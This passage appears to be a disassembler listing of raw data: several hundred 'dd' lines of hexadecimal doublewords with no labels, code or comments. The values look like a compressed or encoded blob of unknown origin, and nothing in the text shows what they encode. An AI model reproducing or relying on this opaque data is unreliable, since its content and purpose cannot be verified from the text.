		dd 0C98DF48Dh, 9A78FB95h, 263E488Eh, 0F0CB109Fh, 0E5FE6894h
		dd 0A3DDAFA4h, 0EE5CF687h, 66EAFC57h, 7973DA1Bh, 0D3287A93h
		dd 6FF07F99h, 7610F4D7h, 0DE5E7EE3h, 31CFC82Dh,	0DFDE57D4h
		dd 0EF66989h, 0ED3DE5E5h, 0BD93EDF7h, 0BF2BEF94h, 297BE738h
		dd 650F7E5Fh, 21962958h, 19605872h, 90658A96h, 0B865E30Fh
		dd 0D7BBC1ECh, 0F01978F9h, 6CCDAFBAh, 0D32E7AC3h, 657DD7C8h
		dd 0CE25E9AAh, 0BE79D7E4h, 29DF313Ah, 9A9A73AFh, 572F3AF1h
		dd 75BEEBEEh, 0F25E9ED3h, 0E1E62E58h, 5387DD7Ch, 1B887AE7h
		dd 64C7A7EAh, 0B7B6EC1Ch, 0EE1D27B1h, 0F41B3F3h, 132B1E0Ah
		dd 0F3EF5E8Eh, 281D041Bh, 0E0D788E1h, 0D249EF17h, 0E778828Bh
		dd 4185E2FDh, 0F11E8ADFh, 45F9F8D6h, 5BE8EFC2h,	0F9FBAFD8h
		dd 0FB9F856Dh, 0BD35C92Dh, 0F6F4D73Dh, 0DBD32FFCh, 9ACC2713h
		dd 29049E99h, 0CC86622Ch, 5BCC4D2Ah, 0C14F685Ch, 49025DB5h
		dd 77072F9Fh, 6C48E326h, 13609095h, 0AE4E2667h,	0C6E11CCh
		dd 88033A62h, 9F9ED511h, 30B8B95Ch, 5D8964AFh, 70E317F8h
		dd 5089C5C4h, 4BD3F14Ch, 2768A9C1h, 1A04C8BEh, 62C9F012h
		dd 5FDCA8ACh, 41941658h, 5653AD3Ch, 0A559EC39h,	0F6F94539h
		dd 0F7F042C4h, 38860FF5h, 5A6E3255h, 6F7FDA71h,	0AB3BC7B0h
		dd 0F8571BD4h, 0F2357898h, 0E371DA67h, 9ED8BE55h, 6704A423h
		dd 0B4AA66E2h, 3D83E3C0h, 0B13E1059h, 80CEE7CCh, 0E7DF2F3Bh
		dd 390133Eh, 0A0FAE7D5h, 0A12C795Eh, 0E709229Fh, 0FE6E8ED9h
		dd 0CCCD078Fh, 7240AA2Bh, 0DF62C0AFh, 0F27054A0h, 0C7AFB172h
		dd 51AE3E25h, 90AAC5F2h, 31A13285h, 24485E68h, 6F3B05DEh
		dd 8A275010h, 6718860Dh, 69FC6B31h, 9B428DB8h, 2CCE0D4Dh
		dd 0F21783B6h, 4576D65Dh, 8C89978Bh, 39C1D59Eh,	948E4579h
		dd 5C4CF2D2h, 39DB1467h, 4AF0A9FFh, 6DE46A10h, 49A52B3Bh
		dd 0BAE39674h, 34F66C51h, 7060E77Ch, 8A412E31h,	0BAA2C4EDh
		dd 0EF17AC46h, 642C03EDh, 842AD971h, 2D4C939Ch,	3162FDC6h
		dd 382416D4h
		dd 0E7C3974Ah, 0DA87D107h, 124D7B8Dh, 2B4B8B12h, 1FB8A9ECh
		dd 89A65F47h, 471F61F5h, 0EBDD15FCh, 2F04D503h,	0FB0EBE79h
		dd 1F2E0FDh, 546D7506h,	0BA506A61h, 0B7456F3Dh,	0FB4616C6h
		dd 0C95A5C63h, 72FB72E2h, 0FE51CF56h, 0F2AFB8FEh, 95F6AFF8h
		dd 0DF119780h, 8EA7A7FCh, 444917B0h, 0F0C65D0Eh, 13DF082Bh
		dd 23DD9047h, 0C31B7A3Ch, 845D118h, 69E7EC22h, 0E5159797h
		dd 0F2782F08h, 4F6E4541h, 392D399Eh, 9BB9C3DDh,	45EC0413h
		dd 9497D8C7h, 45F2ABA3h, 0F4E1DF3Eh, 7DBE6EADh,	47B86C82h
		dd 72237DE7h, 273BE302h, 0E5CE2ED0h, 0C625C5C4h, 59F05DC3h
		dd 99DCAF86h, 20E15E0Ch, 0E697D296h, 8A92149h, 78B8EA77h
		dd 0FEB1F9F5h, 0BDF3AF7h, 2601595Ah, 414712DCh,	0A0413082h
		dd 5ECD3511h, 6611C8E9h, 0F4CF2665h, 0C92DFD94h, 8E12FB4Ch
		dd 0D1DBB712h, 0DCF8EF44h, 4731A44Ch, 0AC3E4E38h, 784111DBh
		dd 0B758B983h, 0F48D49C3h, 74CF905h, 7EE8BBE7h,	1D54DC9Fh
		dd 0B90BFDD1h, 0AC92D23Dh, 33E4DD55h, 0AB132C03h, 0CFB04C88h
		dd 0D949090Ah, 4F34B609h, 2EE08CA9h, 0D04D8DF3h, 47F9B82Dh
		dd 0C60E3299h, 0BF0F95CBh, 658ABCACh, 6CE5F619h, 0B9F62D78h
		dd 0BB4C1945h, 182667CFh, 381F988Ah, 4C8FC5F3h,	0DB064F4Fh
		dd 5AFB97A9h, 0C728E992h, 0A59434BFh, 0B1258055h, 0D834D56Ch
		dd 1FD1053Bh, 0F301FDF8h, 71465E5Fh, 95664946h,	0C055A717h
		dd 17D123F7h, 0E1183DECh, 0E1473CB6h, 0F072FB4Ch, 1257274Ch
		dd 0C67010Bh, 0A9FCCF1Fh, 3D037D3Fh, 73D3533h, 0FF9F6655h
		dd 26D28034h, 6A8C6108h, 0BF378124h, 0B61574BCh, 699AE41Bh
		dd 0C21AD5E7h, 5DAC995Ch, 45FC159Eh, 9A0B5F48h,	559E28E9h
		dd 119F12B2h, 73670556h, 92040789h, 31F82D58h, 0EB623E3Ch
		dd 0CCDF48BCh, 8726055Ch, 0C20DD4E5h, 0D6709E5Dh, 311B5833h
		dd 1CBA525Ah, 13180FCCh, 23F12825h, 0C082C41h, 1DE98C85h
		dd 1348C0BDh, 7E4DC0B8h, 0D2C4774h, 0EFA34F08h,	0B2E0590Bh
		dd 0CAA0A84Fh, 0AC84D93h, 0CA4AF2CEh, 0DFB440DEh, 0A2CE4C6Fh
		dd 39A3D630h, 0D9CAF364h, 2BCB9366h, 43CDBB69h,	0CAAE4169h
		dd 0CAECFC99h, 0ED1F63AEh, 67BCA26Eh, 77321495h, 0A36897BEh
		dd 50EA541Ch, 0AF1C92D6h, 0F53CBD40h, 109EDF67h, 25315694h
		dd 14073F2Fh, 94736EC9h, 0B383D30Bh, 5E11323Ch,	0F7635D89h
		dd 0A0C60B5Ah, 740CC4F4h, 0A674BB0Fh, 81BBF812h, 59835B37h
		dd 0C212D496h, 0D91D2A20h, 0E44CA56Ch, 84BE105Ah, 0A2B3B104h
		dd 0E8B8FC90h, 9C32BE37h, 891AF162h, 58DFC133h,	45F23ABBh
		dd 67CC2C32h, 76DA8694h, 785D9955h, 0A1E68796h,	1A7C652Eh
		dd 0B95196FEh, 5349F64h, 37900D2Fh, 0F76E283h, 25EBBE10h
		dd 0BD308E45h, 0D9A814E7h, 1B5EE0C2h, 0A7F5485Ah, 0B19568ACh
		dd 2A3175BCh, 8571A9F3h, 113BB85Bh, 0EDCC4EACh,	4F4CAFA2h
		dd 4555A0CEh, 122FAD07h, 3F470C6Dh, 17D28890h, 3C82F649h
		dd 13D20DACh, 0E222A0D3h, 393D4629h, 665F1A2h, 0F21D4B8Dh
		dd 8E26CCh, 0F1A1E571h,	4057D9B8h, 0F3BF8520h, 500AA296h
		dd 73CD21CBh, 0D5A83E81h, 0BF7D6A38h, 1053FEB6h, 9F759A15h
		dd 0BD703CB0h, 49BA4393h, 0D9F13638h, 6AAD9835h, 17A7F24Ah
		dd 0EB3DF8F0h, 5AC56C4Bh, 0CDEE2257h, 6EE01A09h, 0AA00B406h
		dd 0F1048C0h, 30858049h, 31E100CBh, 0E0344241h,	6BFD842Bh
		dd 0F280C90Ch, 0A3050813h, 88223422h, 10A2AB69h, 5F28B4Ah
		dd 0E8C726Ah, 1326FF91h, 0F32B6002h, 549375C0h,	0DCB60C5Ch
		dd 37E96C59h, 0DC12330Dh, 79C5C0D4h, 9AE21515h,	0DAEFDAE2h
		dd 4 dup(0DAEFDAEFh), 0FFEFDAEFh, 0D009BFEFh, 8F0235A5h
		dd 33019836h, 37718701h, 810806D2h, 7DCC0B7Dh, 0FC899DE2h
		dd 0E27DDF0Dh, 0F2083B7h, 521A5D04h, 0AD3F95C8h, 38FFF9F3h
		dd 5E7F67D7h, 42F03D7h,	0FC2C8254h, 8A4FFB8Ch, 4C4EC84Bh
		dd 377B1470h, 5909F185h, 42F1F1E9h, 3AF1F42Dh, 0A9017300h
		dd 14805880h, 897DF670h, 0FFB019B4h, 336F1F7Dh,	0EDDD04E9h
		dd 0FFE967C7h, 578EFFF3h, 0F7F21C8Fh, 0F93707F7h, 97FD202h
		dd 57DA616Fh, 0D5762FF1h, 0D71FE7C3h, 2DF8D81h,	0C88054D2h
		dd 9CDD62B9h, 21F5BBD0h, 0FB918FF4h, 0FC24F13Fh, 0C2DEFF56h
		dd 0FFF8DBFFh, 0FFFAAEEEh, 21079FABh, 0B28BFF12h, 37887A49h
		dd 0E785D4D7h, 0EE912DD6h, 2ABF7230h, 0B7F49065h, 0BFF89DE6h
		dd 0EFFCBB49h, 5F1D8E52h, 0D576BC73h, 0EC264742h, 0B24B6895h
		dd 0D2F68AD7h, 5FCBA07Bh, 0A06BCBB4h, 6FB45FDBh, 684780DAh
		dd 2AC9FB44h, 4C3B3F7Eh, 0F0F013E4h, 0E7890443h, 0BF225118h
		dd 679140C0h, 0FB6E7880h, 0A1327C89h, 345FD9A2h, 1B0C4C3h
		dd 0C4C3617Eh, 884664B4h, 0BF454AF9h, 0C63CA2C1h, 26FFD110h
		dd 0BA235FD1h, 0A2774413h, 4C5D2F87h, 0CFF45333h, 311CCD14h
		dd 0B7E2D9FFh, 0E5FF458Bh, 0C094A34Ch, 16884B5Eh, 8BFA40E5h
		dd 55F8A0F5h, 88379962h, 7862DDE6h, 235E18B5h, 0E60F43E6h
		dd 0DFE6F292h, 629DEE8Bh, 0DF8B7679h, 0FFE8A3FBh, 6F7CB14Fh
		dd 8BEFE188h, 78FD51E1h, 7FDE105Bh, 0BA448DFEh,	3CE38330h
		dd 0F491299h, 0AF0BAE03h, 1B1BBFF9h, 0F6BB3E9Eh, 6FFBF6BBh
		dd 2A5F8C7Fh, 0C3C73FECh, 0E01C6FF8h, 0DD82EFE1h, 0B0F47FC3h
		dd 0D89EBD9Fh, 7DFB45EFh, 0FDFBF67Eh, 0ECFC5BECh, 3FB3F3BFh
		dd 0D07F67E0h, 0D22C1ECFh, 7C714A93h, 0F3BEDE32h, 0F884B378h
		dd 0FE73CF64h, 59306DFFh, 0F0D26015h, 44BDFD39h, 3770634Ah
		dd 552BA24Ch, 2BAE4930h, 0B2D1260Bh, 68B49868h,	0D61DF0B8h
		dd 0A87C451h, 0EB1A06F3h, 0CC468930h, 0CE923985h, 7D05BF6Fh
		dd 9814DE24h, 0DBBEC24h, 5B2EBD26h, 0E283B30Bh,	8405A4C3h
		dd 0BADF5BE3h, 0C2141249h, 51BBE8Ah, 0AAF7785Fh, 5E0A3DBBh
		dd 9B94FE9Fh, 0E6E29F3Bh, 76B43F86h, 75AD1E30h,	83DCCC55h
		dd 7D7787F8h, 0D37ABB8h, 8AAE1B80h, 0F9A25D3Ch,	9F8C6FDCh
		dd 10079A20h, 0CF27CDFFh, 0F842393Eh, 93F749F2h, 7FCF7A73h
		dd 9B664EDDh, 0F19F0E81h, 650FFCE1h, 970F82C2h,	1EECA87Eh
		dd 4F969DFFh, 3F067F5Ah, 929E3AFAh, 0E7CD13E8h,	4F813F31h
		dd 880D1007h, 0A4024402h, 8407080h, 8947E3A0h, 0DC002F4h
		dd 0D380338h, 51C0668h,	20E0234h, 1FB001Ah, 17B00FBh, 1BB007Bh
		dd 1DB003Bh, 5B00DBh, 358035h, 18BF1887h, 0B980F90h, 15201B0h
		dd 301C8066h, 880B1001h, 3A028406h, 84EE007Eh, 0E92AE8F8h
		dd 1AC5CCEAh, 0FFD4EE65h, 1FC5EB0Ch, 622469ADh,	553E4F5Ah
		dd 0FE7EDC65h, 0B4B6BE07h, 0FFD6665h, 0D25B4F8Dh, 7DFA58FFh
		dd 5379E328h, 4F9FD490h, 147DABB3h, 0EE0288F1h,	3D19C710h
		dd 8D1CFF02h, 0A45BE223h, 92150CF9h, 0E849A603h, 0C697C4A6h
		dd 2BB7CE28h, 0F6101D39h, 0DA3DBE93h, 8634D053h, 19019378h
		dd 926E212h, 0AFFA1B5Ch, 1662E3D1h, 2C5695A4h, 878D4F8Ah
		dd 6B2EB7FEh, 0A90C8F7Dh, 26101418h, 0C05BE4EAh, 90F5A8D4h
		dd 1C455456h, 0C60F35DFh, 0AF17E8A7h, 0D14974B8h, 25C80E2h
		dd 876E03BFh, 0C0C28E25h, 10E1FE08h, 5A505EDBh,	189CA0B0h
		dd 7AE13C68h, 16AD2ABCh, 980E41h, 6211588h, 3440320h, 9100A2h
		dd 583C2029h, 0D4040F5Ch, 11DDB161h, 0A5AECC5Fh, 2F6FA7Ah
		dd 0DC4158DCh, 910C4BBAh, 4EB3CD67h, 555B2D2Dh,	0D0A4B45Eh
		dd 3C5D8B21h, 1830A656h, 0D2A11394h, 0B45B2147h, 749B664Ah
		dd 0AD9924DBh, 0B909CF38h, 483209F8h, 1B92E3CAh, 9210E40Ah
		dd 0CCB25454h, 98EE9CB9h, 1DD2C826h, 506493F9h,	999B2B69h
		dd 2B353536h, 5A133653h, 2766661Fh, 36BA4D27h, 5DFB5E77h
		dd 7 dup(5DFB5DFBh), 0FFBFFDFBh, 0F9C30893h, 57555CFDh
		dd 97933A7Fh, 0D1EFE0F7h, 2CB0B629h, 83D7E848h,	77B3110h
		dd 0A1717976h, 78651C3h, 55C1A148h, 0E7DE55C6h,	0D8E28E72h
		dd 2837DED1h, 0A466E526h, 0D96566A7h, 0D358F46h, 5364A30Ch
		dd 0BE5F53C0h, 0F4D73C0Ah, 698F4052h, 27A69213h, 63C4994Dh
		dd 64E59378h, 8B8BDA16h, 93904E7Bh, 0A8BCB8B9h,	458931CCh
		dd 86062961h, 0C87DDF79h, 0FF119C84h, 46DE1266h, 67002D88h
		dd 370A3D36h, 30953D81h, 0C0D77656h, 45FEFEB0h,	0E07C449Ah
		dd 24C28CF8h, 32421AEBh, 7B94B12Fh, 0EFE337A0h,	75B9658Fh
		dd 678FA30Bh, 0B8371295h, 0DD9587DFh, 1B7131E3h, 80DAF796h
		dd 0C36F8BC2h, 0A525E0C2h, 3F48096h, 0C451E138h, 0AE2BC82h
		dd 28E5653Bh, 0FB42C55Fh, 89325D8Bh, 0BD88A5DEh, 0D6726A75h
		dd 8B2813ADh, 6CAA3C09h, 5E5938F2h, 0A6282AC5h,	0A97F2F04h
		dd 6E3642B3h, 37892B32h, 24BD8559h, 7FB0579Fh, 0D62C8151h
		dd 0C1AD0DEBh, 0C8B16D88h, 0D6382670h, 0B9477DF7h, 2D7E7D93h
		dd 5480D6DEh, 8ED62C92h, 324CCA42h, 0B97FA154h,	4BFB8A1Dh
		dd 553DB8C4h, 0B5865A8Bh, 0C41F2B0Bh, 4A510A9Ah, 757C89B1h
		dd 4410C25h, 0B1BF33CFh, 9DCFE673h, 0DC5C6F3Ch,	3598D8D8h
		dd 0F2C6E373h, 6F5153E2h, 0D8F525F2h, 0B9763290h, 645B96ECh
		dd 0F006F1CBh, 4C073C58h, 1E025E26h, 5346114Dh,	0B11CC4C2h
		dd 3D79A8EFh, 38B5F939h, 3F0C862Fh, 98814A2Ah, 36551529h
		dd 0DCEB765Eh, 0F0C2B7B9h, 5A358D7Ch, 0DDE35457h, 0B44669EDh
		dd 0A9E1945h, 0F91043C1h, 8B2378ABh, 0C9E0548Dh, 3CE1AFC0h
		dd 6ED81B7Dh, 6F6189FCh, 0D48A78EBh, 274B39A5h,	1265A388h
		dd 18867A5Eh, 8DE97743h, 9337D1D8h, 0F95150D0h,	7AC7A3CDh
		dd 0DBC05E6Bh, 0BED49BCFh, 0F932F458h, 2A2C4B15h, 0B0C0D62Bh
		dd 0DAF5A46Bh, 4 dup(0DAEFDAEFh), 7FEFDAEFh, 76C8613h
		dd 4628EB7Bh, 974F2F1Eh, 0AC01E2E7h, 0E51FF97Ah, 29BF94FFh
		dd 53614EBFh, 0A8B8AA7Ch, 4CFAAC98h, 0ACBEAEDDh, 6844D20Eh
		dd 0A2DCD7AEh, 9A2C6B91h, 0CD2C9AA9h, 8D32CD7Ch, 66B77353h
		dd 0CD51E6B3h, 0CD5ECD2Eh, 0AD01CD01h, 0FBA0D74Bh, 0DFAD9744h
		dd 0FFAD3FA7h, 60C83F59h, 7E1AD437h, 4C613C35h,	7CB26D31h
		dd 7D671963h, 6819CACCh, 4636EF89h, 901F95AEh, 542A515Fh
		dd 0EA2DEA69h, 0AAAFD467h, 7B4CAD05h, 9D63F69Fh, 718B70DBh
		dd 0F19E71BCh, 0D360E35Bh, 34D29378h, 0BA6B94C3h, 5317F4C7h
		dd 0F30EF998h, 737AF332h, 0E677F98Dh, 0CDA7E6EDh, 361F34FFh
		dd 0E20983F3h, 0BF978A6Ah, 7F597FA8h, 3FA4DF44h, 0FF537FA1h
		dd 0FD7DFE8Eh, 0F54FFA47h, 0D6BFE85Fh, 0D7BFEBB7h, 0A4BFA4FFh
		dd 0D4EFA2BFh, 19FA1B07h, 0C221806h, 1B8619D7h,	68DC306Eh
		dd 0D5B86318h, 0D930DE30h, 0CE832A0h, 867BC326h, 0A997D615h
		dd 0BF9CF18Ch, 64F92BF6h, 9D361505h, 0D9E59778h, 7CC615FAh
		dd 98699953h, 0CD3CD639h, 0AF7CDABCh, 13F361F9h, 8A5167E6h
		dd 995FCC77h, 0B3AE59FBh, 5A516CDCh, 4B6C96CCh,	0ABEA85B9h
		dd 9BAD5AB4h, 92E313ADh, 0E5C5A6E2h, 4713DDC5h,	0FE02507h
		dd 0C53F9E24h, 15478AFDh, 563E2AEFh, 5788A77Ch,	0A9BE501Eh
		dd 50FCAD3Ch, 5A3285F9h, 0D7D53BF5h, 947508AAh,	5E3AA27Ah
		dd 507EA39Dh, 9C7A92FDh, 80F35726h, 0D14DA246h,	0D12ED02Eh
		dd 0D3AED72Eh, 0D61F68D6h, 467DA13Eh, 35F692FBh, 569D04EDh
		dd 0AE9BAC97h, 0A65BAF9Bh, 0D0EDD5ABh, 0B3FBA53Dh, 0ACEEBF6Eh
		dd 3EFE8D6Eh, 5FFD0EFDh, 4FE8AFF5h, 7FD13FEAh, 0BFAABFA7h
		dd 4C34A0C5h, 0D6191431h, 3C37EE19h, 0E1B3F86Eh, 31A4434Dh
		dd 718778CBh, 78D6B1BDh, 0A33DF1BFh, 0A994F4DCh, 0F98079AFh
		dd 0B345F36Dh, 3CB062DCh, 0FAC5B967h, 771555B4h, 0AE29AE20h
		dd 38CBEE25h, 0F1467A62h, 84781185h, 433E492Eh,	0A41F21DEh
		dd 569E2AD0h, 0AAE728A4h, 0D55BD44Bh, 549FA98Fh, 0A1A66927h
		dd 7ACD4EB4h, 0B87D05CDh, 6D5861C1h, 0B4F0DBB8h, 8FA1B4E1h
		dd 0DA31B071h, 67DC6B18h, 9A9536CCh, 0CEBA60FEh, 6C5CD0BCh
		dd 63EE623Eh, 6EBCB269h, 131D6639h, 89A799C7h, 0DE4528E1h
		dd 1F2F3F2Eh, 53ABCC0Fh, 0CE370146h, 0F301FBA9h, 0D1BE6A8Eh
		dd 6BC6D30Ch, 5D3AB4EBh, 7758AE8Ah, 6E8EF740h, 0B4D6BE9Ah
		dd 0A995F4C7h, 0E666D4C3h, 0DE78A0CCh, 0B8A2B84Bh, 0FAB5FD53h
		dd 0ED7F4D13h, 7D3F5D39h, 7EBA7E84h, 0C09FFEBBh, 59D3148Ch
		dd 968FC9F4h, 3BBFD4F9h, 63B34EB8h, 59A518F2h, 9F728F79h
		dd 56A563F2h, 1EFA96F5h, 0EED45CDh, 0BC4B30FDh,	3DCB1EE5h
		dd 6156EDD6h, 4ADF3F1Fh, 0D22A2791h, 378A3915h,	81556695h
		dd 0AC935AA6h, 0EAD3A19Bh, 6C7C306Fh, 328A6CBAh, 0A33731EFh
		dd 865A07FFh, 762D725Ah, 97CB1ACBh, 972CEF96h, 7AD0C32Ch
		dd 0B6BF5B9Fh, 183B8B6Eh, 84820787h, 9515E25Ch,	9517E59Bh
		dd 0AAB95583h, 5427AA15h, 0AADCA94Fh, 0D5C2A97Fh, 357DD42Bh
		dd 9AA63053h, 0E134E735h, 439D0CBAh, 0BCF756B7h, 7CDD67EEh
		dd 72FD12FDh, 29F1987Dh, 856311E3h, 4ADF05A9h, 3CDEFF37h
		dd 0BC8952CFh, 0BDFDC815h, 0C4483C38h, 0F969E4FAh, 8A51F297h
		dd 945B8A65h, 5505295Fh, 0B0E8B001h, 8D507EAh, 1F562F5h
		dd 34CD30F5h, 4CDD79EDh, 32FD3CFDh, 97FD6EFDh, 146C73FAh
		dd 1AF61894h, 422C355Eh, 0B630D3DEh, 984E9BB6h,	9A5FCD12h
		dd 0CB1296ADh, 0F5B9160Fh, 0F71B5588h, 2B49F50Ch, 7BD1D574h
		dd 6FA918E2h, 0E62A67CAh, 0AB144A29h, 3F2BEF14h, 37554A57h
		dd 0B36B56A8h, 5D86D5F4h, 18865386h, 5F18D63h, 0C074D2A3h
		dd 8DF4DA74h, 6EE5B479h, 5ECB09CBh, 4D657EBh, 0E73CE3CAh
		dd 7F95CC03h, 98A81F2Bh, 0D8AB98A0h, 0D14E78AEh, 78AE38A8h
		dd 8CE02313h, 5B850BE2h, 92E2BDF1h, 884557E2h, 44395C32h
		dd 0A2D2BD79h, 0A1DE554Ch, 447CA2DCh, 0A8D95079h, 566CAA3Ch
		dd 545354EAh, 0A90EA9F7h, 30ABD5B2h, 7CD55E1Eh,	7B5079A1h
		dd 3C051B59h, 0D02BA438h, 1927D45Fh, 6F7F1B67h,	6C7CB7CCh
		dd 2D7968B9h, 0D9DC74EEh, 74710BB8h, 0F896793Eh, 0F972E5E8h
		dd 68197914h, 73189DDAh, 4A0854FFh, 794932A9h, 0F2937297h
		dd 0E509E549h, 6576CADBh, 5547EA9Ah, 0EA6FFAA9h, 0D437EAE3h
		dd 0DD64CD4Eh, 0BA2DBA6Dh, 7D4674B7h, 0A9CCDA16h, 24341BBFh
		dd 941830C4h, 4E0D4A2h,	0F0D3FF3Eh, 318E61ADh, 6377F8CFh
		dd 18D9B183h, 0BA6FEA6Ch, 0AA6854CEh, 0BA6BDD32h, 0B4D5B4DFh
		dd 0AAF96D0Dh, 0DFD4DDA9h, 9A47352Ch, 66D1CCA3h, 0F4063999h
		dd 85798262h, 0AB98D79h, 0FCD6ABB4h, 7367F99Dh,	8B06E5A4h
		dd 896312CCh, 2A59A4B5h, 0F6594F2Ch, 0F659F65Ah, 72C1A5Bh
		dd 0A3968D2Dh, 10CB6696h, 0DA35946Bh, 58C6B32Ah, 0AC6BACCBh
		dd 5BBFD6D5h, 0B09EB55Fh, 0B19EB29Eh, 0B15EB59Eh, 141B8FF6h
		dd 19C71517h, 0AE93B723h, 0F287F93Fh, 14C3E42Fh, 8A498AB1h
		dd 0C546C572h, 0E555C50Eh, 8D65D511h, 7B5C3B54h, 1B4636A3h
		dd 9DA09DABh, 0FB4BBDA5h, 768776A8h, 768F76B7h,	769F76AFh
		dd 7B41B6BFh, 1757DB50h, 22EA93AEh, 75BA5175h, 6EDD3ABAh
		dd 0A07D8F50h, 0FBA0D1Fh, 8D7AC174h, 0D78FACDEh
		dd 0F553E927h, 5A1B7AE9h, 0A4FF5723h, 2F7E8F7Eh, 7D7EFBA8h
		dd 0C331E19Dh, 0C3568693h, 6318E328h, 0D1817192h, 0F5127C69h
		dd 0FEF03BFAh, 0DC7675B2h, 993654B7h, 0D0A48684h, 277D9288h
		dd 57CC508Fh, 4D78A43Ch, 0A952A319h, 540754CAh,	573EA86Fh
		dd 0ABEAA2FDh, 55AF562Eh, 0A7DF546Fh, 0ABFEA1DEh, 57F505FAh
		dd 0A5FE6998h, 26198D1Eh, 0C63B7359h, 31E69D59h, 97CD09CDh
		dd 0A94D0E9Ah, 6D282FF6h, 0AD33F68Bh, 9BA6974Ah, 0B3A79BA5h
		dd 0ADD4EEEBh, 0DBABDDD7h, 0F7527BA6h, 0D043EE8Ch, 5FBAF3BCh
		dd 0A3F54374h, 0F7F40BF4h, 0BFD71FEBh, 3F58FFAAh, 3C0D10C4h
		dd 4FC6D5Fh, 0D3A623A5h, 0BB591C68h, 1D15E715h,	75E5208Ah
		dd 0B1CA31CAh, 0A672854Ah, 58B95732h, 57BCA659h, 0A252A0F9h
		dd 57AAAB1Ah, 0A07D556Dh, 457556FAh, 508F5125h,	0D413D4CBh
		dd 1D41B50Ah, 0A7514EA7h, 0B3D533ABh, 25EA79D5h, 0EA1577A0h
		dd 6EFC944Ah, 0B37AAD75h, 87EA77FAh, 0BBD5DBD5h, 418047D5h
		dd 0AB1FD5A7h, 2E068067h, 4DB8BCC2h, 61CD7BF3h,	34CFEA8Ch
		dd 0D67E693Fh, 6B076904h, 0AE3DA4FFh, 0A63DD1ADh, 2FEEA3FBh
		dd 5EEBBFBAh, 35D61DD4h, 427ED303h, 65EBFBB9h, 2AF45BFAh
		dd 53E9C7Dh, 0BF5B2B14h, 7FA75F56h, 4A78B510h, 0F3FD67FFh
		dd 30C75EA0h, 6FA87DA3h, 0CB41BBD5h, 0C4BD67Fh,	0A669A6F1h
		dd 0A989532Ch, 0C9B774C2h, 65DBAC05h, 6CD4CE7Ah, 81F4C77Ah
		dd 59D313E9h, 41A60FD3h, 811BBEC0h, 4ACC1379h, 0C53CD9B3h
		dd 6F9E639Ch, 9B9737CEh, 0CD6BCD2Bh, 9F3F98D5h,	3E68BF30h
		dd 85FF5A09h, 0F342C539h, 0C620449Dh, 5FE4CFF1h, 2A2B47CBh
		dd 3D557F14h, 5A720A0Fh, 0D3E83DF5h, 0F51F5555h, 0F534EAF5h
		dd 7542F51Ch, 21EA7A0Dh, 53EA73F5h, 9FD48FEAh, 0F3EADDABh
		dd 17582BEAh, 9AA46984h, 5032B09Bh, 1B1AB468h, 0D34BBD6Ah
		dd 2301F9AEh, 51B68F74h, 7559D7ABh, 0E8D9BAE9h,	4F7587A9h
		dd 5EE976E8h, 6DF9D40h,	0BBAD7D76h, 0DFD08BA2h,	2FD4CFA4h
		dd 0A55B8D06h, 0F4BBD6AFh, 0A30FEB0Fh, 7EAAECFh, 6786F418h
		dd 4A0CC70Ch, 33E34AE3h, 315E3398h, 0C99C62B6h,	0F4DB34Dh
		dd 7D36DE98h, 74CCFA68h, 1A89D4DEh, 0CDAB348Eh,	96792CE3h
		dd 2C47960Dh, 7FDB40A7h, 0FA5A74B1h, 0E461075Ah, 5AC6B68Ch
		dd 5A175A67h, 0AC2BAC4Bh, 5AF7AC1Bh, 0B17F59B7h, 0E259C506h
		dd 0C5E6E372h, 8C6DC515h, 376E2FBBh, 0B8C9F2A8h, 36A7848Bh
		dd 9E4DE309h, 17904F20h, 37CB57CBh, 1F969FCBh, 7945F96h
		dd 8629FA29h, 79145228h, 0A98C228Ah, 2A4F14FBh,	7D52814Eh
		dd 0F149F8ABh, 1153A28Bh, 1CAA1CA1h, 0F6044CAFh, 2A372814h
		dd 95BA559Fh, 2AA95423h, 0D513EA9Bh, 0E078F570h, 0C2602CCBh
		dd 874FB419h, 0AE13443Ah, 6B44D489h, 34133462h,	93598D6Ah
		dd 0EAC749A4h, 0AEC6AE69h, 0DA146871h, 0A8D1DA79h, 0BFFAC3FFh
		dd 348CBE63h, 0D2A1814h, 6E1A9Fh, 38C2FD2Dh, 0B4C534D1h
		dd 0E9ACF4D3h, 0E86DD325h, 0C7682739h, 0ECF5587Dh, 0F59DFF32h
		dd 64341B9Ch, 22D22580h, 0E65A64B7h, 71400A59h,	0ADD88689h
		dd 0B8D4EB4Eh, 42C27143h, 1D24A1E8h, 5F0BA0EDh,	0A314C3CBh
		dd 15857215h, 0CA23C3B3h, 0F5065457h, 0FDF16054h, 93D547EAh
		dd 57F47A34h, 0CD1EE6A5h, 0DD00CD56h, 0EE925D64h, 8C66DD1Eh
		dd 57DD56A7h, 0EB473998h, 0F5F3F473h, 0F427FAA5h, 0E21AC47Fh
		dd 4346FEACh, 0E18E6186h, 187F862Fh, 373E1A8Eh,	18871884h
		dd 18E6326Fh, 1B8F8DF3h, 0D5FE369Fh, 613C68D8h,	0C9FA691Ch
		dd 374E6E14h, 31DB33CFh, 5E69DFBBh, 7E653E65h, 0F7CAB31Fh
		dd 549450E6h, 6515B966h, 22F2CA7Dh, 0EB3F4468h,	0D611D675h
		dd 0D639ADDBh, 0D69DD6F9h, 0E3C37121h, 0B8BA7114h, 90C6B1AFh
		dd 5A6F5E30h, 0CF954C63h, 0F7E5DB94h, 0BF931FC9h, 2E5CFF2Eh
		dd 0B8A75C51h, 91593151h, 58A398AAh, 3C56A8A4h,	38ADD8A0h
		dd 2F9066C6h, 2E28DF15h, 8228AE28h, 8395FD95h, 0A395C395h
		dd 0C9CAB194h, 0F5E61D4Ah, 0E522CAD9h, 0CA03E506h, 0D4C32B3Fh
		dd 18ADA8B7h, 3EAC7CADh, 50735A0Eh, 12660AFDh, 762BD62Dh
		dd 5EA6B94Dh, 1A68CF3h,	9ABBCAF3h, 345735EFh, 6837B503h
		dd 6D2CDA75h, 0BB5AB6B1h, 0F680FB59h, 0DAFBED55h, 0B55FDA4Bh
		dd 3A3174A3h, 4BA8CE95h, 44B10CC0h, 0B77746B7h,	77EE936Eh
		dd 23BAEDBAh, 0DF754FBAh, 42E92EEAh, 37F483F4h,	13F463E8h
		dd 0DBB406F5h, 0FD7AFD4Ah, 9AC0AC56h, 2FD12B0h,	418C6894h
		dd 0DC30486Dh, 9865986Eh, 286C5867h, 0AFA05436h, 31EE1837h
		dd 0B3F98F3Ch, 0BC6110DDh, 0DC6298DEh, 34C5BC6Dh, 0FDC9B315h
		dd 0AEB14FA6h, 681135A1h, 0DE3DA28h, 1154A1F4h,	0A3181685h
